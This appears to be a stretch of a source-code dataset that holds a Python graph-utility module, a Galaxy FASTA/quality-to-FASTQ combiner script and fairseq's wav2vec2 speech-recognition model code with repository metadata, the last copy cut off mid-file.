import numpy as np import networkx as nx if __name__ == '__main__': from ged4py.algorithm import graph_edit_dist else: from .ged4py.algorithm import graph_edit_dist def rearrange_adj_matrix(matrix, ordering): assert matrix.ndim == 2 assert matrix.shape[0] == matrix.shape[1] num_nodes = matrix.shape[0] assert len(ordering) == num_nodes matrix = matrix[ordering, :] matrix = matrix[:, ordering] return matrix def rand_permute_adj_matrix(matrix): num_vertices = matrix.shape[0] rand_order = np.arange(num_vertices) np.random.shuffle(rand_order) matrix_permuted = rearrange_adj_matrix(matrix, rand_order) return matrix_permuted def ged_from_adj(adj_mat_1, adj_mat_2, directed=False, ged_function=graph_edit_dist.compare): if directed: create_using = nx.DiGraph else: create_using = nx.Graph g1 = nx.from_numpy_matrix(adj_mat_1, create_using=create_using()) g2 = nx.from_numpy_matrix(adj_mat_2, create_using=create_using()) return ged_function(g1, g2) def ged_from_adj_nx(adj_mat_1, adj_mat_2, directed=False): return ged_from_adj(adj_mat_1, adj_mat_2, directed=directed, ged_function=nx.graph_edit_distance) def ged_from_adj_ged4py(adj_mat_1, adj_mat_2, directed=False): return ged_from_adj(adj_mat_1, adj_mat_2, directed=directed, ged_function=graph_edit_dist.compare) def is_isomorphic_from_adj(adj_mat_1, adj_mat_2): g1 = nx.from_numpy_matrix(adj_mat_1, create_using=nx.DiGraph()) g2 = nx.from_numpy_matrix(adj_mat_2, create_using=nx.DiGraph()) return nx.is_isomorphic(g1, g2) def adj_matrix_to_edge_list(adj_matrix, directed=True, first_id=0, weighted=False): num_nodes = adj_matrix.shape[0] if directed: num_edges = np.sum(adj_matrix) else: num_edges = int(np.sum(adj_matrix) / 2) if weighted: edge_list = np.zeros([num_edges, 3], dtype=np.int32) else: edge_list = np.zeros([num_edges, 2], dtype=np.int32) i = 0 for node_in in range(num_nodes): if directed: range_2 = range(num_nodes) else: range_2 = range(node_in + 1, num_nodes) for node_out in range_2: edge_val = adj_matrix[node_in, node_out] if edge_val > 0: if weighted: edge_list[i] = (node_in + first_id, node_out + first_id, edge_val) else: edge_list[i] = (node_in + first_id, node_out + first_id) i += 1 return edge_list def edge_list_to_textfile(edge_list, filepath, weighted=False): with open(filepath, 'w') as file: if weighted: for i, j, weight in edge_list: file.write(f"{i} {j} {weight}\n") else: for i, j in edge_list: file.write(f"{i} {j}\n") return

true

790b096adf0a7dadc6f725ff23f532c4b282732e

1,938

py

Python

tools/fastq/fastq_combiner.py

bopopescu/phyG

023f505b705ab953f502cbc55e90612047867583

[ "CC-BY-3.0" ]

2

2016-02-23T00:09:14.000Z

2019-02-11T07:48:44.000Z

tools/fastq/fastq_combiner.py

bopopescu/phyG

023f505b705ab953f502cbc55e90612047867583

[ "CC-BY-3.0" ]

null

tools/fastq/fastq_combiner.py

bopopescu/phyG

023f505b705ab953f502cbc55e90612047867583

[ "CC-BY-3.0" ]

6

2015-05-27T13:09:50.000Z

2019-02-11T07:48:46.000Z

#Dan Blankenberg import sys, os, shutil from galaxy_utils.sequence.fastq import fastqWriter, fastqSequencingRead, fastqCombiner, fastqFakeFastaScoreReader from galaxy_utils.sequence.fasta import fastaReader, fastaNamedReader def main(): #Read command line arguments fasta_filename = sys.argv[1] fasta_type = sys.argv[2] or 'fasta' #should always be fasta or csfasta? what if txt? qual_filename = sys.argv[3] qual_type = sys.argv[4] or 'qualsanger' #qual454 qualsolid output_filename = sys.argv[5] force_quality_encoding = sys.argv[6] if force_quality_encoding == 'None': force_quality_encoding = None format = 'sanger' if fasta_type == 'csfasta' or qual_type == 'qualsolid': format = 'cssanger' elif qual_type == 'qualsolexa': format = 'solexa' elif qual_type == 'qualillumina': format = 'illumina' out = fastqWriter( open( output_filename, 'wb' ), format = format, force_quality_encoding = force_quality_encoding ) if qual_filename == 'None': qual_input = fastqFakeFastaScoreReader( format, quality_encoding = force_quality_encoding ) else: qual_input = fastaNamedReader( open( qual_filename, 'rb' ) ) fastq_combiner = fastqCombiner( format ) i = None skip_count = 0 for i, sequence in enumerate( fastaReader( open( fasta_filename, 'rb' ) ) ): quality = qual_input.get( sequence ) if quality: fastq_read = fastq_combiner.combine( sequence, quality ) out.write( fastq_read ) else: skip_count += 1 out.close() if i is None: print "Your file contains no valid FASTA sequences." else: print qual_input.has_data() print 'Combined %s of %s sequences with quality scores (%.2f%%).' % ( i - skip_count + 1, i + 1, float( i - skip_count + 1 ) / float( i + 1 ) * 100.0 ) if __name__ == "__main__": main()

38.76

159

0.657895

import sys, os, shutil from galaxy_utils.sequence.fastq import fastqWriter, fastqSequencingRead, fastqCombiner, fastqFakeFastaScoreReader from galaxy_utils.sequence.fasta import fastaReader, fastaNamedReader def main(): fasta_filename = sys.argv[1] fasta_type = sys.argv[2] or 'fasta' qual_filename = sys.argv[3] qual_type = sys.argv[4] or 'qualsanger' output_filename = sys.argv[5] force_quality_encoding = sys.argv[6] if force_quality_encoding == 'None': force_quality_encoding = None format = 'sanger' if fasta_type == 'csfasta' or qual_type == 'qualsolid': format = 'cssanger' elif qual_type == 'qualsolexa': format = 'solexa' elif qual_type == 'qualillumina': format = 'illumina' out = fastqWriter( open( output_filename, 'wb' ), format = format, force_quality_encoding = force_quality_encoding ) if qual_filename == 'None': qual_input = fastqFakeFastaScoreReader( format, quality_encoding = force_quality_encoding ) else: qual_input = fastaNamedReader( open( qual_filename, 'rb' ) ) fastq_combiner = fastqCombiner( format ) i = None skip_count = 0 for i, sequence in enumerate( fastaReader( open( fasta_filename, 'rb' ) ) ): quality = qual_input.get( sequence ) if quality: fastq_read = fastq_combiner.combine( sequence, quality ) out.write( fastq_read ) else: skip_count += 1 out.close() if i is None: print "Your file contains no valid FASTA sequences." else: print qual_input.has_data() print 'Combined %s of %s sequences with quality scores (%.2f%%).' % ( i - skip_count + 1, i + 1, float( i - skip_count + 1 ) / float( i + 1 ) * 100.0 ) if __name__ == "__main__": main()

false

true

790b0a8ad1c25e10ce9deea1ce87883a46e7a21f

20,506

py

Python

fairseq/models/wav2vec/wav2vec2_asr.py

fairseq-FT/fairseq

18725499144c1bba7c151b796ba774e59d36eaa9

[ "MIT" ]

33

2021-01-06T18:03:55.000Z

2022-03-28T12:07:44.000Z

fairseq/models/wav2vec/wav2vec2_asr.py

fairseq-FT/fairseq

18725499144c1bba7c151b796ba774e59d36eaa9

[ "MIT" ]

8

2021-06-11T03:11:37.000Z

2022-03-08T19:15:42.000Z

fairseq/models/wav2vec/wav2vec2_asr.py

fairseq-FT/fairseq

18725499144c1bba7c151b796ba774e59d36eaa9

[ "MIT" ]

14

2021-05-17T06:55:01.000Z

2022-03-28T12:07:42.000Z

# Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from argparse import Namespace import contextlib import copy import math import numpy as np import torch import torch.nn as nn import torch.nn.functional as F from dataclasses import dataclass, field from omegaconf import MISSING, II, open_dict from typing import Any from fairseq import checkpoint_utils, tasks, utils from fairseq.dataclass import FairseqDataclass from fairseq.dataclass.utils import convert_namespace_to_omegaconf from fairseq.tasks import FairseqTask from fairseq.models import ( BaseFairseqModel, FairseqEncoder, FairseqEncoderDecoderModel, FairseqIncrementalDecoder, register_model, ) from fairseq.models.wav2vec.wav2vec2 import MASKING_DISTRIBUTION_CHOICES from fairseq.modules import LayerNorm, PositionalEmbedding, TransformerDecoderLayer @dataclass class Wav2Vec2AsrConfig(FairseqDataclass): w2v_path: str = field( default=MISSING, metadata={"help": "path to wav2vec 2.0 model"} ) no_pretrained_weights: bool = field( default=False, metadata={"help": "if true, does not load pretrained weights"} ) dropout_input: float = field( default=0.0, metadata={"help": "dropout to apply to the input (after feat extr)"}, ) final_dropout: float = field( default=0.0, metadata={"help": "dropout after transformer and before final projection"}, ) dropout: float = field( default=0.0, metadata={"help": "dropout probability inside wav2vec 2.0 model"} ) attention_dropout: float = field( default=0.0, metadata={ "help": "dropout probability for attention weights inside wav2vec 2.0 model" }, ) activation_dropout: float = field( default=0.0, metadata={ "help": "dropout probability after activation in FFN inside wav2vec 2.0 model" }, ) # masking apply_mask: bool = field( default=False, metadata={"help": "apply masking during fine-tuning"} ) mask_length: int = field( default=10, metadata={"help": "repeat the mask indices multiple times"} ) mask_prob: float = field( default=0.5, metadata={ "help": "probability of replacing a token with mask (normalized by length)" }, ) mask_selection: MASKING_DISTRIBUTION_CHOICES = field( default="static", metadata={"help": "how to choose masks"} ) mask_other: float = field( default=0, metadata={ "help": "secondary mask argument (used for more complex distributions), " "see help in compute_mask_indices" }, ) no_mask_overlap: bool = field( default=False, metadata={"help": "whether to allow masks to overlap"} ) # channel masking mask_channel_length: int = field( default=10, metadata={"help": "length of the mask for features (channels)"} ) mask_channel_prob: float = field( default=0.0, metadata={"help": "probability of replacing a feature with 0"} ) mask_channel_selection: MASKING_DISTRIBUTION_CHOICES = field( default="static", metadata={"help": "how to choose mask length for channel masking"}, ) mask_channel_other: float = field( default=0, metadata={ "help": "secondary mask argument (used for more complex distributions), " "see help in compute_mask_indicesh" }, ) no_mask_channel_overlap: bool = field( default=False, metadata={"help": "whether to allow channel masks to overlap"} ) freeze_finetune_updates: int = field( default=0, metadata={"help": "dont finetune wav2vec for this many updates"} ) feature_grad_mult: float = field( default=0.0, metadata={"help": "reset feature grad mult in wav2vec 2.0 to this"} ) layerdrop: float = field( default=0.0, metadata={"help": "probability of dropping a layer in wav2vec 2.0"} ) normalize: bool = II("task.normalize") data: str = II("task.data") # this holds the loaded wav2vec args w2v_args: Any = None @dataclass class Wav2Vec2CtcConfig(Wav2Vec2AsrConfig): pass @register_model("wav2vec_ctc", dataclass=Wav2Vec2CtcConfig) class Wav2VecCtc(BaseFairseqModel): def __init__(self, cfg: Wav2Vec2CtcConfig, w2v_encoder: BaseFairseqModel): super().__init__() self.cfg = cfg self.w2v_encoder = w2v_encoder def upgrade_state_dict_named(self, state_dict, name): super().upgrade_state_dict_named(state_dict, name) return state_dict @classmethod def build_model(cls, cfg: Wav2Vec2CtcConfig, task: FairseqTask): """Build a new model instance.""" w2v_encoder = Wav2VecEncoder(cfg, task.target_dictionary) return cls(cfg, w2v_encoder) def get_normalized_probs(self, net_output, log_probs): """Get normalized probabilities (or log probs) from a net's output.""" logits = net_output["encoder_out"] if log_probs: return utils.log_softmax(logits.float(), dim=-1) else: return utils.softmax(logits.float(), dim=-1) def forward(self, **kwargs): x = self.w2v_encoder(**kwargs) return x @dataclass class Wav2Vec2Seq2SeqConfig(Wav2Vec2AsrConfig): decoder_embed_dim: int = field( default=768, metadata={"help": "decoder embedding dimension"} ) decoder_ffn_embed_dim: int = field( default=3072, metadata={"help": "decoder embedding dimension for FFN"} ) decoder_layers: int = field(default=6, metadata={"help": "num of decoder layers"}) decoder_layerdrop: float = field( default=0.0, metadata={"help": "decoder layerdrop chance"} ) decoder_attention_heads: int = field( default=4, metadata={"help": "num decoder attention heads"} ) decoder_learned_pos: bool = field( default=False, metadata={"help": "use learned positional embeddings in the decoder"}, ) decoder_normalize_before: bool = field( default=False, metadata={"help": "apply layernorm before each decoder block"} ) no_token_positional_embeddings: bool = field( default=False, metadata={ "help": "if set, disables positional embeddings (outside self attention)" }, ) decoder_dropout: float = field( default=0.0, metadata={"help": "dropout probability in the decoder"} ) decoder_attention_dropout: float = field( default=0.0, metadata={ "help": "dropout probability for attention weights inside the decoder" }, ) decoder_activation_dropout: float = field( default=0.0, metadata={ "help": "dropout probability after activation in FFN inside the decoder" }, ) max_target_positions: int = field( default=2048, metadata={"help": "max target positions"} ) share_decoder_input_output_embed: bool = field( default=False, metadata={"help": "share decoder input and output embeddings"} ) @register_model("wav2vec_seq2seq", dataclass=Wav2Vec2Seq2SeqConfig) class Wav2Vec2Seq2SeqModel(FairseqEncoderDecoderModel): def __init__(self, encoder, decoder): super().__init__(encoder, decoder) @classmethod def build_model(cls, cfg: Wav2Vec2Seq2SeqConfig, task: FairseqTask): """Build a new model instance.""" src_dict, tgt_dict = task.source_dictionary, task.target_dictionary def build_embedding(dictionary, embed_dim): num_embeddings = len(dictionary) padding_idx = dictionary.pad() emb = Embedding(num_embeddings, embed_dim, padding_idx) return emb decoder_embed_tokens = build_embedding(tgt_dict, cfg.decoder_embed_dim) encoder = cls.build_encoder(cfg) decoder = cls.build_decoder(cfg, tgt_dict, decoder_embed_tokens) return Wav2Vec2Seq2SeqModel(encoder, decoder) @classmethod def build_encoder(cls, cfg: Wav2Vec2AsrConfig): return Wav2VecEncoder(cfg) @classmethod def build_decoder(cls, cfg: Wav2Vec2Seq2SeqConfig, tgt_dict, embed_tokens): return TransformerDecoder(cfg, tgt_dict, embed_tokens) def forward(self, **kwargs): encoder_out = self.encoder(tbc=False, **kwargs) decoder_out = self.decoder(encoder_out=encoder_out, **kwargs) return decoder_out def upgrade_state_dict_named(self, state_dict, name): super().upgrade_state_dict_named(state_dict, name) return state_dict class Wav2VecEncoder(FairseqEncoder): def __init__(self, cfg: Wav2Vec2AsrConfig, tgt_dict=None): self.apply_mask = cfg.apply_mask arg_overrides = { "dropout": cfg.dropout, "activation_dropout": cfg.activation_dropout, "dropout_input": cfg.dropout_input, "attention_dropout": cfg.attention_dropout, "mask_length": cfg.mask_length, "mask_prob": cfg.mask_prob, "mask_selection": cfg.mask_selection, "mask_other": cfg.mask_other, "no_mask_overlap": cfg.no_mask_overlap, "mask_channel_length": cfg.mask_channel_length, "mask_channel_prob": cfg.mask_channel_prob, "mask_channel_selection": cfg.mask_channel_selection, "mask_channel_other": cfg.mask_channel_other, "no_mask_channel_overlap": cfg.no_mask_channel_overlap, "encoder_layerdrop": cfg.layerdrop, "feature_grad_mult": cfg.feature_grad_mult, } if cfg.w2v_args is None: state = checkpoint_utils.load_checkpoint_to_cpu(cfg.w2v_path, arg_overrides) w2v_args = state.get("cfg", None) if w2v_args is None: w2v_args = convert_namespace_to_omegaconf(state["args"]) cfg.w2v_args = w2v_args else: state = None w2v_args = cfg.w2v_args if isinstance(w2v_args, Namespace): cfg.w2v_args = w2v_args = convert_namespace_to_omegaconf(w2v_args) assert cfg.normalize == w2v_args.task.normalize, ( "Fine-tuning works best when data normalization is the same. " "Please check that --normalize is set or unset for both pre-training and here" ) w2v_args.task.data = cfg.data task = tasks.setup_task(w2v_args.task) model = task.build_model(w2v_args.model) if state is not None and not cfg.no_pretrained_weights: model.load_state_dict(state["model"], strict=True) model.remove_pretraining_modules() super().__init__(task.source_dictionary) d = w2v_args.model.encoder_embed_dim self.w2v_model = model self.final_dropout = nn.Dropout(cfg.final_dropout) self.freeze_finetune_updates = cfg.freeze_finetune_updates self.num_updates = 0 if tgt_dict is not None: self.proj = Linear(d, len(tgt_dict)) elif getattr(cfg, "decoder_embed_dim", d) != d: self.proj = Linear(d, cfg.decoder_embed_dim) else: self.proj = None def set_num_updates(self, num_updates): """Set the number of parameters updates.""" super().set_num_updates(num_updates) self.num_updates = num_updates def forward(self, source, padding_mask, tbc=True, **kwargs): w2v_args = { "source": source, "padding_mask": padding_mask, "mask": self.apply_mask and self.training, } ft = self.freeze_finetune_updates <= self.num_updates with torch.no_grad() if not ft else contextlib.ExitStack(): x, padding_mask = self.w2v_model.extract_features(**w2v_args) if tbc: # B x T x C -> T x B x C x = x.transpose(0, 1) x = self.final_dropout(x) if self.proj: x = self.proj(x) return { "encoder_out": x, # T x B x C "encoder_padding_mask": padding_mask, # B x T "padding_mask": padding_mask, } def reorder_encoder_out(self, encoder_out, new_order): if encoder_out["encoder_out"] is not None: encoder_out["encoder_out"] = encoder_out["encoder_out"].index_select( 1, new_order ) if encoder_out["encoder_padding_mask"] is not None: encoder_out["encoder_padding_mask"] = encoder_out[ "encoder_padding_mask" ].index_select(0, new_order) return encoder_out def max_positions(self): """Maximum input length supported by the encoder.""" return None def upgrade_state_dict_named(self, state_dict, name): return state_dict class TransformerDecoder(FairseqIncrementalDecoder): """ Transformer decoder consisting of *args.decoder_layers* layers. Each layer is a :class:`TransformerDecoderLayer`. Args: args (argparse.Namespace): parsed command-line arguments dictionary (~fairseq.data.Dictionary): decoding dictionary embed_tokens (torch.nn.Embedding): output embedding no_encoder_attn (bool, optional): whether to attend to encoder outputs (default: False). """ def __init__( self, cfg: Wav2Vec2Seq2SeqConfig, dictionary, embed_tokens, no_encoder_attn=False, ): super().__init__(dictionary) self.dropout = cfg.decoder_dropout self.share_input_output_embed = cfg.share_decoder_input_output_embed input_embed_dim = embed_tokens.embedding_dim embed_dim = cfg.decoder_embed_dim self.output_embed_dim = cfg.decoder_embed_dim self.layerdrop = cfg.decoder_layerdrop padding_idx = embed_tokens.padding_idx self.max_target_positions = cfg.max_target_positions self.embed_tokens = embed_tokens self.embed_scale = math.sqrt(embed_dim) # todo: try with input_embed_dim self.project_in_dim = ( Linear(input_embed_dim, embed_dim, bias=False) if embed_dim != input_embed_dim else None ) self.embed_positions = ( PositionalEmbedding( cfg.max_target_positions, embed_dim, padding_idx, learned=cfg.decoder_learned_pos, ) if not cfg.no_token_positional_embeddings else None ) # TODO: update this when transformer gets converted to dataclass configs transformer_cfg = copy.deepcopy(cfg) with open_dict(transformer_cfg): transformer_cfg.dropout = transformer_cfg.decoder_dropout transformer_cfg.attention_dropout = ( transformer_cfg.decoder_attention_dropout ) transformer_cfg.activation_dropout = ( transformer_cfg.decoder_activation_dropout ) self.layers = nn.ModuleList([]) self.layers.extend( [ TransformerDecoderLayer(transformer_cfg, no_encoder_attn) for _ in range(transformer_cfg.decoder_layers) ] ) if not self.share_input_output_embed: self.embed_out = nn.Parameter( torch.Tensor(len(dictionary), self.output_embed_dim) ) nn.init.normal_(self.embed_out, mean=0, std=self.output_embed_dim ** -0.5) if transformer_cfg.decoder_normalize_before: self.layer_norm = LayerNorm(embed_dim) else: self.layer_norm = None def forward( self, prev_output_tokens, encoder_out=None, incremental_state=None, **unused ): """ Args: prev_output_tokens (LongTensor): previous decoder outputs of shape `(batch, tgt_len)`, for teacher forcing encoder_out (Tensor, optional): output from the encoder, used for encoder-side attention incremental_state (dict): dictionary used for storing state during :ref:`Incremental decoding` Returns: tuple: - the decoder's output of shape `(batch, tgt_len, vocab)` - a dictionary with any model-specific outputs """ prev_output_tokens = prev_output_tokens.long() x, extra = self.extract_features( prev_output_tokens, encoder_out, incremental_state ) x = self.output_layer(x) return x, extra def extract_features( self, prev_output_tokens, encoder_out=None, incremental_state=None, **unused ): """ Similar to *forward* but only return features. Returns: tuple: - the decoder's features of shape `(batch, tgt_len, embed_dim)` - a dictionary with any model-specific outputs """ # embed positions positions = ( self.embed_positions( prev_output_tokens, incremental_state=incremental_state ) if self.embed_positions is not None else None ) if incremental_state is not None: prev_output_tokens = prev_output_tokens[:, -1:] if positions is not None: positions = positions[:, -1:] # embed tokens and positions x = self.embed_scale * self.embed_tokens(prev_output_tokens) if self.project_in_dim is not None: x = self.project_in_dim(x) if positions is not None: x += positions x = F.dropout(x, p=self.dropout, training=self.training) # B x T x C -> T x B x C x = x.transpose(0, 1) attn = None inner_states = [x] # decoder layers for layer in self.layers: dropout_probability = np.random.random() if not self.training or (dropout_probability > self.layerdrop): x, attn, _ = layer( x, encoder_out["encoder_out"] if encoder_out is not None else None, encoder_out["encoder_padding_mask"] if encoder_out is not None else None, incremental_state, self_attn_mask=self.buffered_future_mask(x) if incremental_state is None else None, ) inner_states.append(x) if self.layer_norm: x = self.layer_norm(x) # T x B x C -> B x T x C x = x.transpose(0, 1) return x, {"attn": attn, "inner_states": inner_states} def output_layer(self, features, **kwargs): """Project features to the vocabulary size.""" # project back to size of vocabulary if self.share_input_output_embed: return F.linear(features, self.embed_tokens.weight) else: return F.linear(features, self.embed_out) def max_positions(self): """Maximum output length supported by the decoder.""" if self.embed_positions is None: return self.max_target_positions return min(self.max_target_positions, self.embed_positions.max_positions) def buffered_future_mask(self, tensor): dim = tensor.size(0) if ( not hasattr(self, "_future_mask") or self._future_mask is None or self._future_mask.device != tensor.device or self._future_mask.size(0) < dim ): self._future_mask = torch.triu( utils.fill_with_neg_inf(tensor.new(dim, dim)), 1 ) return self._future_mask[:dim, :dim] def upgrade_state_dict_named(self, state_dict, name): return state_dict def Embedding(num_embeddings, embedding_dim, padding_idx): m = nn.Embedding(num_embeddings, embedding_dim, padding_idx=padding_idx) nn.init.normal_(m.weight, mean=0, std=embedding_dim ** -0.5) nn.init.constant_(m.weight[padding_idx], 0) return m def Linear(in_features, out_features, bias=True): m = nn.Linear(in_features, out_features, bias) nn.init.xavier_uniform_(m.weight) if bias: nn.init.constant_(m.bias, 0.0) return m

34.521886

90

0.631913

from argparse import Namespace import contextlib import copy import math import numpy as np import torch import torch.nn as nn import torch.nn.functional as F from dataclasses import dataclass, field from omegaconf import MISSING, II, open_dict from typing import Any from fairseq import checkpoint_utils, tasks, utils from fairseq.dataclass import FairseqDataclass from fairseq.dataclass.utils import convert_namespace_to_omegaconf from fairseq.tasks import FairseqTask from fairseq.models import ( BaseFairseqModel, FairseqEncoder, FairseqEncoderDecoderModel, FairseqIncrementalDecoder, register_model, ) from fairseq.models.wav2vec.wav2vec2 import MASKING_DISTRIBUTION_CHOICES from fairseq.modules import LayerNorm, PositionalEmbedding, TransformerDecoderLayer @dataclass class Wav2Vec2AsrConfig(FairseqDataclass): w2v_path: str = field( default=MISSING, metadata={"help": "path to wav2vec 2.0 model"} ) no_pretrained_weights: bool = field( default=False, metadata={"help": "if true, does not load pretrained weights"} ) dropout_input: float = field( default=0.0, metadata={"help": "dropout to apply to the input (after feat extr)"}, ) final_dropout: float = field( default=0.0, metadata={"help": "dropout after transformer and before final projection"}, ) dropout: float = field( default=0.0, metadata={"help": "dropout probability inside wav2vec 2.0 model"} ) attention_dropout: float = field( default=0.0, metadata={ "help": "dropout probability for attention weights inside wav2vec 2.0 model" }, ) activation_dropout: float = field( default=0.0, metadata={ "help": "dropout probability after activation in FFN inside wav2vec 2.0 model" }, ) apply_mask: bool = field( default=False, metadata={"help": "apply masking during fine-tuning"} ) mask_length: int = field( default=10, metadata={"help": "repeat the mask indices multiple times"} ) mask_prob: float = field( default=0.5, metadata={ "help": "probability of replacing a token with mask (normalized by length)" }, ) mask_selection: MASKING_DISTRIBUTION_CHOICES = field( default="static", metadata={"help": "how to choose masks"} ) mask_other: float = field( default=0, metadata={ "help": "secondary mask argument (used for more complex distributions), " "see help in compute_mask_indices" }, ) no_mask_overlap: bool = field( default=False, metadata={"help": "whether to allow masks to overlap"} ) mask_channel_length: int = field( default=10, metadata={"help": "length of the mask for features (channels)"} ) mask_channel_prob: float = field( default=0.0, metadata={"help": "probability of replacing a feature with 0"} ) mask_channel_selection: MASKING_DISTRIBUTION_CHOICES = field( default="static", metadata={"help": "how to choose mask length for channel masking"}, ) mask_channel_other: float = field( default=0, metadata={ "help": "secondary mask argument (used for more complex distributions), " "see help in compute_mask_indicesh" }, ) no_mask_channel_overlap: bool = field( default=False, metadata={"help": "whether to allow channel masks to overlap"} ) freeze_finetune_updates: int = field( default=0, metadata={"help": "dont finetune wav2vec for this many updates"} ) feature_grad_mult: float = field( default=0.0, metadata={"help": "reset feature grad mult in wav2vec 2.0 to this"} ) layerdrop: float = field( default=0.0, metadata={"help": "probability of dropping a layer in wav2vec 2.0"} ) normalize: bool = II("task.normalize") data: str = II("task.data") w2v_args: Any = None @dataclass class Wav2Vec2CtcConfig(Wav2Vec2AsrConfig): pass @register_model("wav2vec_ctc", dataclass=Wav2Vec2CtcConfig) class Wav2VecCtc(BaseFairseqModel): def __init__(self, cfg: Wav2Vec2CtcConfig, w2v_encoder: BaseFairseqModel): super().__init__() self.cfg = cfg self.w2v_encoder = w2v_encoder def upgrade_state_dict_named(self, state_dict, name): super().upgrade_state_dict_named(state_dict, name) return state_dict @classmethod def build_model(cls, cfg: Wav2Vec2CtcConfig, task: FairseqTask): w2v_encoder = Wav2VecEncoder(cfg, task.target_dictionary) return cls(cfg, w2v_encoder) def get_normalized_probs(self, net_output, log_probs): logits = net_output["encoder_out"] if log_probs: return utils.log_softmax(logits.float(), dim=-1) else: return utils.softmax(logits.float(), dim=-1) def forward(self, **kwargs): x = self.w2v_encoder(**kwargs) return x @dataclass class Wav2Vec2Seq2SeqConfig(Wav2Vec2AsrConfig): decoder_embed_dim: int = field( default=768, metadata={"help": "decoder embedding dimension"} ) decoder_ffn_embed_dim: int = field( default=3072, metadata={"help": "decoder embedding dimension for FFN"} ) decoder_layers: int = field(default=6, metadata={"help": "num of decoder layers"}) decoder_layerdrop: float = field( default=0.0, metadata={"help": "decoder layerdrop chance"} ) decoder_attention_heads: int = field( default=4, metadata={"help": "num decoder attention heads"} ) decoder_learned_pos: bool = field( default=False, metadata={"help": "use learned positional embeddings in the decoder"}, ) decoder_normalize_before: bool = field( default=False, metadata={"help": "apply layernorm before each decoder block"} ) no_token_positional_embeddings: bool = field( default=False, metadata={ "help": "if set, disables positional embeddings (outside self attention)" }, ) decoder_dropout: float = field( default=0.0, metadata={"help": "dropout probability in the decoder"} ) decoder_attention_dropout: float = field( default=0.0, metadata={ "help": "dropout probability for attention weights inside the decoder" }, ) decoder_activation_dropout: float = field( default=0.0, metadata={ "help": "dropout probability after activation in FFN inside the decoder" }, ) max_target_positions: int = field( default=2048, metadata={"help": "max target positions"} ) share_decoder_input_output_embed: bool = field( default=False, metadata={"help": "share decoder input and output embeddings"} ) @register_model("wav2vec_seq2seq", dataclass=Wav2Vec2Seq2SeqConfig) class Wav2Vec2Seq2SeqModel(FairseqEncoderDecoderModel): def __init__(self, encoder, decoder): super().__init__(encoder, decoder) @classmethod def build_model(cls, cfg: Wav2Vec2Seq2SeqConfig, task: FairseqTask): src_dict, tgt_dict = task.source_dictionary, task.target_dictionary def build_embedding(dictionary, embed_dim): num_embeddings = len(dictionary) padding_idx = dictionary.pad() emb = Embedding(num_embeddings, embed_dim, padding_idx) return emb decoder_embed_tokens = build_embedding(tgt_dict, cfg.decoder_embed_dim) encoder = cls.build_encoder(cfg) decoder = cls.build_decoder(cfg, tgt_dict, decoder_embed_tokens) return Wav2Vec2Seq2SeqModel(encoder, decoder) @classmethod def build_encoder(cls, cfg: Wav2Vec2AsrConfig): return Wav2VecEncoder(cfg) @classmethod def build_decoder(cls, cfg: Wav2Vec2Seq2SeqConfig, tgt_dict, embed_tokens): return TransformerDecoder(cfg, tgt_dict, embed_tokens) def forward(self, **kwargs): encoder_out = self.encoder(tbc=False, **kwargs) decoder_out = self.decoder(encoder_out=encoder_out, **kwargs) return decoder_out def upgrade_state_dict_named(self, state_dict, name): super().upgrade_state_dict_named(state_dict, name) return state_dict class Wav2VecEncoder(FairseqEncoder): def __init__(self, cfg: Wav2Vec2AsrConfig, tgt_dict=None): self.apply_mask = cfg.apply_mask arg_overrides = { "dropout": cfg.dropout, "activation_dropout": cfg.activation_dropout, "dropout_input": cfg.dropout_input, "attention_dropout": cfg.attention_dropout, "mask_length": cfg.mask_length, "mask_prob": cfg.mask_prob, "mask_selection": cfg.mask_selection, "mask_other": cfg.mask_other, "no_mask_overlap": cfg.no_mask_overlap, "mask_channel_length": cfg.mask_channel_length, "mask_channel_prob": cfg.mask_channel_prob, "mask_channel_selection": cfg.mask_channel_selection, "mask_channel_other": cfg.mask_channel_other, "no_mask_channel_overlap": cfg.no_mask_channel_overlap, "encoder_layerdrop": cfg.layerdrop, "feature_grad_mult": cfg.feature_grad_mult, } if cfg.w2v_args is None: state = checkpoint_utils.load_checkpoint_to_cpu(cfg.w2v_path, arg_overrides) w2v_args = state.get("cfg", None) if w2v_args is None: w2v_args = convert_namespace_to_omegaconf(state["args"]) cfg.w2v_args = w2v_args else: state = None w2v_args = cfg.w2v_args if isinstance(w2v_args, Namespace): cfg.w2v_args = w2v_args = convert_namespace_to_omegaconf(w2v_args) assert cfg.normalize == w2v_args.task.normalize, ( "Fine-tuning works best when data normalization is the same. " "Please check that --normalize is set or unset for both pre-training and here" ) w2v_args.task.data = cfg.data task = tasks.setup_task(w2v_args.task) model = task.build_model(w2v_args.model) if state is not None and not cfg.no_pretrained_weights: model.load_state_dict(state["model"], strict=True) model.remove_pretraining_modules() super().__init__(task.source_dictionary) d = w2v_args.model.encoder_embed_dim self.w2v_model = model self.final_dropout = nn.Dropout(cfg.final_dropout) self.freeze_finetune_updates = cfg.freeze_finetune_updates self.num_updates = 0 if tgt_dict is not None: self.proj = Linear(d, len(tgt_dict)) elif getattr(cfg, "decoder_embed_dim", d) != d: self.proj = Linear(d, cfg.decoder_embed_dim) else: self.proj = None def set_num_updates(self, num_updates): super().set_num_updates(num_updates) self.num_updates = num_updates def forward(self, source, padding_mask, tbc=True, **kwargs): w2v_args = { "source": source, "padding_mask": padding_mask, "mask": self.apply_mask and self.training, } ft = self.freeze_finetune_updates <= self.num_updates with torch.no_grad() if not ft else contextlib.ExitStack(): x, padding_mask = self.w2v_model.extract_features(**w2v_args) if tbc: x = x.transpose(0, 1) x = self.final_dropout(x) if self.proj: x = self.proj(x) return { "encoder_out": x, "encoder_padding_mask": padding_mask, "padding_mask": padding_mask, } def reorder_encoder_out(self, encoder_out, new_order): if encoder_out["encoder_out"] is not None: encoder_out["encoder_out"] = encoder_out["encoder_out"].index_select( 1, new_order ) if encoder_out["encoder_padding_mask"] is not None: encoder_out["encoder_padding_mask"] = encoder_out[ "encoder_padding_mask" ].index_select(0, new_order) return encoder_out def max_positions(self): return None def upgrade_state_dict_named(self, state_dict, name): return state_dict class TransformerDecoder(FairseqIncrementalDecoder): def __init__( self, cfg: Wav2Vec2Seq2SeqConfig, dictionary, embed_tokens, no_encoder_attn=False, ): super().__init__(dictionary) self.dropout = cfg.decoder_dropout self.share_input_output_embed = cfg.share_decoder_input_output_embed input_embed_dim = embed_tokens.embedding_dim embed_dim = cfg.decoder_embed_dim self.output_embed_dim = cfg.decoder_embed_dim self.layerdrop = cfg.decoder_layerdrop padding_idx = 